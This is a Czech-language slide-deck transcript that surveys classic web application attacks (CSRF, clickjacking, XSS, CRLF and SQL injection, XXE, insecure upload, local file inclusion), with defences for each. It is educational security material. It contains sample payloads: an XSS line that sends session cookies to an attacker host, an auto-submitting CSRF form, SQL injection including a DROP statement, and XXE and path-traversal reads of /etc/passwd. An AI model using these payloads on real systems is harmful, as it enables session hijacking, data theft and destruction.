Hitparáda webhackingu nestárnoucí hity. Roman Kümmel



Podobné dokumenty
Testování webových aplikací Seznam.cz

Zranitelnosti webových aplikací. Vlastimil Pečínka, Seznam.cz Roman Kümmel, Soom.cz

Vývoj Internetových Aplikací

Cross- Site Request Forgery

Vývoj internetových aplikací. 9. Útoky na internetové aplikace. a možná obrana proti nim

Nejčastější zranitelnosti webových aplikací. Pavel Bašta

Cross-Site Scripting (XSS)

Jaku b Su ch ý 1

Bezpečnost a bezpečné programování

Úvodem 9. Zpětná vazba od čtenářů 10 Zdrojové kódy ke knize 10 Errata 10. Než začneme 11

1 Webový server, instalace PHP a MySQL 13

Formuláře. Internetové publikování. Formuláře - příklad

1. Webový server, instalace PHP a MySQL 13

Ing. Přemysl Brada, MSc., Ph.D. Ing. Martin Dostal. Katedra informatiky a výpočetní techniky, FAV, ZČU v Plzni

Content Security Policy

Základy HTML, URL, HTTP, druhy skriptování, formuláře

HTTP hlavičky pro bezpečnější web

Maturitní témata z předmětu PROGRAMOVÉ VYBAVENÍ pro šk. rok 2012/2013

PHP a bezpečnost. nejen veřejná

Zabezpečení web aplikací

Tvorba WWW stránek. přehled technologií používaných na webu principy jednotlivých technologií a možnosti jejich vzájemného kombinování

AJAX. Dynamické změny obsahu stránek

Hypertext Transfer Protocol (HTTP/1.1 RFC 2616) Počítačové sítě Pavel Šinták

Připravil: Ing. Jiří Lýsek, Ph.D. Verze: Webové aplikace

Web Application Security aneb další. rozměr hackingu. XanthiX Soom session IV

2.přednáška. Informační bezpečnost: Systém řízení informační bezpečnosti (ISMS)

PHP a Large Objecty v PostgreSQL

Formuláře. Internetové publikování

Šifrování Autentizace Bezpečnostní slabiny. Bezpečnost. Lenka Kosková Třísková, NTI TUL. 22. března 2013

BI-AWD. Administrace Webového a Databázového serveru Úvod do problematiky HTTP serveru

Návrh a tvorba WWW stránek 1/8. Formuláře

Internet cvičení. ZS 2009/10, Cvičení 4., PHP. Tomáš Pop. DISTRIBUTED SYSTEMS RESEARCH GROUP

SQL injection princip a ochrana

Formuláře. Aby nám mohli uživatelé něco hezného napsat třeba co si o nás myslí!

Informační systémy 2008/2009. Radim Farana. Obsah. Aktivní serverové stránky ASP. Active Server Pages. Activex Data Objects. LDAP database.

Třídy a objekty. Třídy a objekty. Vytvoření instance třídy. Přístup k atributům a metodám objektu. $z = new Zlomek(3, 5);

Pavel Kaňkovský, DCIT Consulting. SOFTECON

SQL injection jak ji možná neznáte Roman Kümmel

Dell SonicWALL. Security tips & tricks. Jan Ježek business communication s.r.o.

Obsah přednášky. Představení webu ASP.NET frameworky Relační databáze Objektově-relační mapování Entity framework

Internet cvičení. ZS 2009/10, Cvičení 3., Tomáš Pop. DISTRIBUTED SYSTEMS RESEARCH GROUP

1. Úvod do Ajaxu 11. Jak Ajax funguje? 13

Protokol HTTP 4IZ228 tvorba webových stránek a aplikací

Specifikace vzdělávacích aktivit projektu Další vzdělávání zaměstnanců Insia a.s.

ÚROVEŇ BEZPEČNOSTI INTERNETOVÝCH APLIKACÍ V ČESKÉ REPUBLICE SECURITY OF INTERNET APPLICATIONS IN THE CZECH REPUBLIC. Petr Zelenka

Přehled kapitol 1. Základní kostra HTML dokumentu 2. Členění dokumentu 3. Kaskádové styly - CSS 4. Pozadí stránky 5.

Vývoj Internetových Aplikací

WiFi4EU Komponent sloužící k prosazování politiky. Prováděcí příručka verze 1.0

RESTful API TAMZ 1. Cvičení 11

Koláčky, sezení. Martin Klíma

Efektivní řízení rizik

Ajax - úvod. Klíčové pojmy: Ajax, skriptování na straně klienta a serveru, objekt XMLHttpRequest, DOM model.

Pánem World Wide Webu! aneb povídání o chybě hloupé tak, až to bolí

DUM 14 téma: Interakce s uživatelem

Webové Aplikace (6. přednáška)

Kurz je rozdělen do čtyř bloků, které je možné absolvovat i samostatně. Podmínkou pro vstup do kurzu je znalost problematiky kurzů předešlých.

INFORMAČNÍ SYSTÉMY NA WEBU

Obsah. Úvodem 9. Kapitola 1 Než začneme 11. Kapitola 2 Dynamické zobrazování obsahu 25. Zpětná vazba od čtenářů 10 Zdrojové kódy ke knize 10 Errata 10

Pokročilé techniky XSS

Část IV - Bezpečnost 21. Kapitola 19 Bezpečnostní model ASP.NET 23

WWW technologie. HTTP protokol

Obsah. Úvod 11 O autorovi 11 Koncept knihy 11 Zpětná vazba od čtenářů 12 Zdrojové kódy ke knize 12 Errata 12 ČÁST I VÝVOJ MOBILNÍ APLIKACE

Bezpečnost webových aplikací v ASP.NET

Tvorba informačních systémů

Inovace a zkvalitnění výuky prostřednictvím ICT. Základní seznámení s MySQL Ing. Kotásek Jaroslav

Připravil: Ing. Jiří Lýsek, Ph.D. Verze: Webové aplikace

Datové schránky ante portas

NESMRTELNÝ CROSS-SITE SCRIPTING

Úvodem Seznámení s HTML Rozhraní Canvas... 47

Zabezpečení platformy SOA. Michal Opatřil Corinex Group

Zabezpečení proti SQL injection

Adware ENISA. Aktivní kybernetická obrana. Aktivum. Analýza hrozeb. Analýza počítačového viru. Antispamový filtr. Antivirový program

Cross Site Request Forgery

sms-sluzba.cz API_XML30 - textové SMS do ČR a do zahraničí

Michal Krátký, Miroslav Beneš

IP telephony security overview

Univerzita Pardubice Fakulta elektrotechniky a informatiky. WWW aplikace s využitím relační databáze pro správu sportovního centra Michal Nosil

Bezpečnost a bezpečné programování

KIV/PIA 2013 Jan Tichava

Příručka pro potvrzování zůstatku vydavatelům karetních platebních prostředků

Připravil: Ing. Jiří Lýsek, Ph.D. Verze: Webové technologie

Internet 2 css, skriptování, dynamické prvky

Technologie Java Enterprise Edition. Přemek Brada, KIV ZČU

5/3.3 BEZPEČNOSTNÍ ASPEKTY JAZYKA PHP

NSWI096 - INTERNET JavaScript

Kapitola 1 První kroky v tvorbě miniaplikací 11

1. Obsah. Publikováno:

NSWI142 Webové aplikace Zkouškový test

Bakalářská práce. SID SQL Injection Attack Detector

BI-AWD. Administrace Webového a Databázového serveru Virtualizace HTTP serveru

Specifikace. Odevzdání do

Návrh a implementace bezpečnosti v podnikových aplikacích. Pavel Horal

APLIKACE PRO DETEKCI ZRANITELNOSTI TYPU CLICKJACKING

Rozdíly oproti webové stránce:

Demilitarizovaná zóna (DMZ)

Informační systém pro e-learning manuál

Počítačové sítě II. 18. World Wide Web, HTTP Miroslav Spousta,

Bezpečnost webových aplikací blok A. Petr Závodský

Inovace bakalářského studijního oboru Aplikovaná chemie

Transkript:

Hitparáda webhackingu nestárnoucí hity Roman Kümmel

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF SQL injection Clickjacking XSS Session Fixation Forced browsing XML External Entity Nezabezpečený upload Local File Include

Cross-Site Request Forgery (CSRF) - Zneužití důvěry serveru v uživatele - Nic netušící uživatel odešle serveru GET/POST požadavek - Skript na serveru rozpozná uživatele podle cookie a požadavek pod identitou uživatele vykoná - Může jít také o XMLHttpRequesty (AJAX požadavky)

Cross-Site Request Forgery (CSRF) metoda GET - Útočník odešle uživateli odkaz pro odeslání nebezpečného požadavku cílové aplikaci http://www.webmail.cz/remail?email=utocnik@seznam.cz - Možnost zneužití HTML prvků načítajících externí obsah <img src=http://www.webmail.cz/remail?email=utocnik@seznam.cz>

Cross-Site Request Forgery (CSRF) metoda POST - Útočník vytvoří webovou stránku, která sama odešle nebezpečné požadavky cílové aplikaci ve chvíli, kdy ji (přihlášený) uživatel navštíví - Pro utajení akce se formulář vloží do skrytého rámu <form name= fake method= post action= http://aplikace.cz/remail > <input type= hidden name= email value= utocnik@seznam.cz > </form> <script>document.fake.submit();</script>

Cross-Site Request Forgery (CSRF) OBRANA - Kontrola HTTP hlavičky REFERER - Nedoporučuji, možnost odeslání požadavků bez této hlavičky - Kontrola hlavičky ORIGIN u XMLHttpRequestů - Podobná situace jako u hlavičky Referer - Přidání autorizačního tokenu ke všem požadavkům - Útočník nemůže připravit útočný požadavek bez jeho znalosti - Ideální je platnost tokenu časově omezit http://aplikace.cz/remail?email=utocnik@seznam.cz&ticket=ba5e5aa2f472

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF SQL injection Clickjacking XSS CRLF injection Forced browsing XML External Entity Nezabezpečený upload Local File Include

Clickjacking - Je-li nasazena ochrana před útoky CSRF - Nic netušící uživatel sám klikne na prvek nebo vyplní a odešle formulář, bez toho, aby věděl, co vlastně dělá. - Útok založen na možnosti načíst web. stránku do rámu - Průhlednost rámu - Překrytí nechtěných prvků - Vkládání údajů do aplikace, nebo krádež dat z aplikace.

Clickjacking - JavaScript FrameKiller - if (top.location!= self.location) - Nedoporučuji - možnost načtení zdrojáku view-source: - Lze vyřadit zneužitím XSS filtru - HTTP Response Hlavička X-Frame Options - DENY - SAMEORIGIN - ALLOW-FROM - Content Security Policy OBRANA

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF SQL injection Clickjacking XSS CRLF injection Forced browsing XML External Entity Nezabezpečený upload Local File Include

Cross-Site Scripting (XSS) - Spuštění JavaScriptu v uživatelově prohlížeči - Same Origin Policy brání přístupu k jiným doménám - Injekce skriptu do webové aplikace umožňuje přístup ke všem jejím objektům (čtení/zápis) - Únos sezení - Změna nebo čtení uložených dat (podvržení přihlašovacích formulářů, atd.) - XSS proxy - Typy zranitelnosti XSS - Perzistentní - Non-Perzistentní - DOM based

Cross-Site Scripting (XSS) Únos sezení Session stealing <script> document.write ( <img src= http://utocnik.cz/save?cookie= +document.cookie> ); </script>

Cross-Site Scripting (XSS) <div>uživatelský příspěvek: <script>alert(1)</script></div> ------------------------------------------------------------------------------------------ <form> <input type= text value= ><script>alert(1)</script> > </form> ------------------------------------------------------------------------------------------ <input type= text value= onclick= alert(1) > ------------------------------------------------------------------------------------------ <script type="text/javascript"> DOT.cfg({service: 'firmy', query: ''});alert(1);//'}); </script> ------------------------------------------------------------------------------------------ <a href= javascript:alert(1) >odkaz</a>

Cross-Site Scripting (XSS) AJAX var json = eval("(" + xhr.responsetext + ")"); {"a":10, "b":20, "c":alert(1)} {"a":10, "b":20, "c":"alert(1)"} + alert( XSS ) + { a : + alert( XSS ) + } { a : \ + alert(\ XSS\ ) + \ }

Cross-Site Scripting (XSS) OBRANA - Náhrada metaznaků & < > za HTML entity < - Escapování metaznaků v řetězcích JavaScriptu \

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF SQL injection Clickjacking XSS CRLF injection Forced browsing XML External Entity Nezabezpečený upload Local File Include

CRLF injection Request: http://www.seznam.cz?foo=test Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test

CRLF injection Injekce HTTP hlaviček vložením bílých znaků CR+LF Request: http://www.seznam.cz?foo=test%0d%0aheader:value Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test Header: Value

CRLF injection OBRANA - Ošetřit bílé znaky před vložením hodnoty do hlavičky - například URL encoding

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF SQL injection Clickjacking XSS CRLF injection Forced browsing XML External Entity Nezabezpečený upload Local File Include

SQL injection www.webmail.cz?name=pepa $name = $_GET[ name ] $query = SELECT * FROM database WHERE name= $name SELECT * FROM database WHERE name= pepa

SQL injection www.webmail.cz?name= OR a = a $name = $_GET[ name ] $query = SELECT * FROM database WHERE name= $name SELECT * FROM database WHERE name= OR a = a SELECT * FROM database WHERE name= ; DROP database--

SQL injection OBRANA Escapovat metaznaky (apostrofy) SELECT * FROM database WHERE name= \ OR \ A\ =\ A Zdvojovat metaznaky (apostrofy) SELECT * FROM database WHERE name= OR A = A Používat uložené procedury, kontrolu na nižších vrstvách, prepared statement Pozor na escapování u vícebajtových znakových sad! => \ %BF => %BF\ addslashes() => mysql_real_escape_string() magic_quotes

SQL injection www.webmail.cz?id=1 $id = $_GET[ id ] $query = SELECT * FROM database WHERE id=$id SELECT * FROM database WHERE id=1

SQL injection www.webmail.cz?id=1 or 1=1 $id = $_GET[ id ] $query = SELECT * FROM database WHERE id=$id SELECT * FROM database WHERE id=1 or 1=1

Přetypováním: $id = (int)$_get[ id ] SQL injection OBRANA Uzavírání číselných hodnot do apostrofů + jejich ošetření www.webmail.cz?id=1 or 1=1 $query = SELECT * FROM database WHERE id= $id SELECT * FROM database WHERE id= 1 OR 1=1 www.webmail.cz?id=1 or 1 = 1 SELECT * FROM database WHERE id= 1\ or \ 1\ =\ 1 Uložené procedury, kontrola na nižších vrstvách, prepared statement

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF SQL injection Clickjacking XSS CRLF injection Forced browsing XML External Entity Nezabezpečený upload Local File Include

Forced browsing - Procházení stránek změnou id v požadavku - Možnost získání celých databází OBRANA - Nepoužívat id v požadavcích - Používat jedinečný identifikátor - Používání Captchy při mnoha požadavcích - Pozor na nedostatečnou autorizaci

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF SQL injection Clickjacking XSS CRLF injection Forced browsing XML External Entity Nezabezpečený upload Local File Include

XML External Entity (XXE) Co s tím? - Full Path Disclosure - Cross-Site Scripting (XSS) - Server-Side Request Forgery (SSRF) - Scanning Internal Network - Denial of Service (DoS) - Local File Disclusion - atd.

XML External Entity (XXE) Struktura XML dokumentu <?xml version="1.0"?> <!DOCTYPE contacts [ <!ELEMENT contact (login,name)> <!ELEMENT login (#PCDATA)> <!ELEMENT name (#PCDATA)> ]> <contacts> <contact> <login>karel</login> <name>karel Novotný</name> </contact> <contact> <login>jana</login> <name>jana Nádherná</name> </contact> </contacts> DTD (Document Type Definition) Document Content

XML External Entity (XXE) Interní entity v XML <?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY prijmeni "Novotný"> ]> <contacts> <contact> <login>karel</login> <name>karel &prijmeni;</name> </contact> <contact> <login>petr</login> <name>petr &prijmeni;</name> </contact> </contacts> <contacts> <contact> <login>karel</login> <name>karel Novotný</name> </contact> <contact> <login>petr</login> <name>petr Novotný</name> </contact> </contacts>

XML External Entity (XXE) <?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM "./note/novotny.txt "> ]> <contacts> <contact> <login>karel</login> <name>karel Novotný</name> <note>&note;</note> </contact> </contacts> Externí entity v XML <contacts> <contact> <login>karel</login> <name>karel Novotný</name> <note>textová poznámka ze souboru</note> </contact> </contacts>

XML External Entity (XXE) Attack: Local File Disclusion <?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM /etc/passwd"> ]> <contacts> <contact> <login>karel</login> <name>karel Novotný</name> <note>&note;</note> </contact> </contacts> <contacts> <contact> <login>karel</login> <name>karel Novotný</name> <note> root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest: lp:*:11:11::/var/spool/lp:/bin/false nuucp:*:6:5:uucp login Doe:/home/jdoe:/usr/bin/ksh </note> </contact> </contacts>

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF SQL injection Clickjacking XSS CRLF injection Forced browsing XML External Entity Nezabezpečený upload Local File Include

Nezabezpečený upload - Upload serverového skriptu a jeho spuštění může vést k ovládnutí serveru - Zneužití důvěryhodné domény k uploadu souborů sloužících k infikování počítačů konečných uživatelů OBRANA - Kontrolovat typ a strukturu uploadovaných dat - Konvertovat obrázky - Ošetřit bílé znaky a znaky pro procházení adresářů v názvu uploadovaného souboru (použít nový název) - Zakázat spouštění skriptů v adresářích pro upload

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF SQL injection Clickjacking XSS CRLF injection Forced browsing XML External Entity Nezabezpečený upload Local File Include

Local File Inclusion (disclosure) - Možnost zobrazení nebo spuštění serverového skriptu - Script lze na server dostat: - Uploadem souboru - Uploadem nakaženého obrázku - Přes cookies a session proměnné - Enviroment (proc/self/environ) - Zneužitím logů (var/www/logs/access_log, apd.)

Local File Inclusion (disclosure) GET: webmail.cz?action=view.php $page = $_GET[ action ]; Include($page); webmail.cz?action=../../../../etc/passwd webmail.cz?action=../images/foto.jpg

Local File Inclusion (disclosure) OBRANA - Vhodně nastavený webový server - Neincludovat soubory na základě proměnné obdržené od uživatele - Ošetřit výskyt sekvence../

Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace DoS, DDoS Sociotechnika Wi-Fi Útoky proti uživatelům Útoky proti aplikaci CSRF Clickjacking XSS CRLF injection SQL injection Forced browsing XML External Entity Nezabezpečený upload Local File Include

Dotazy

Děkuji za pozornost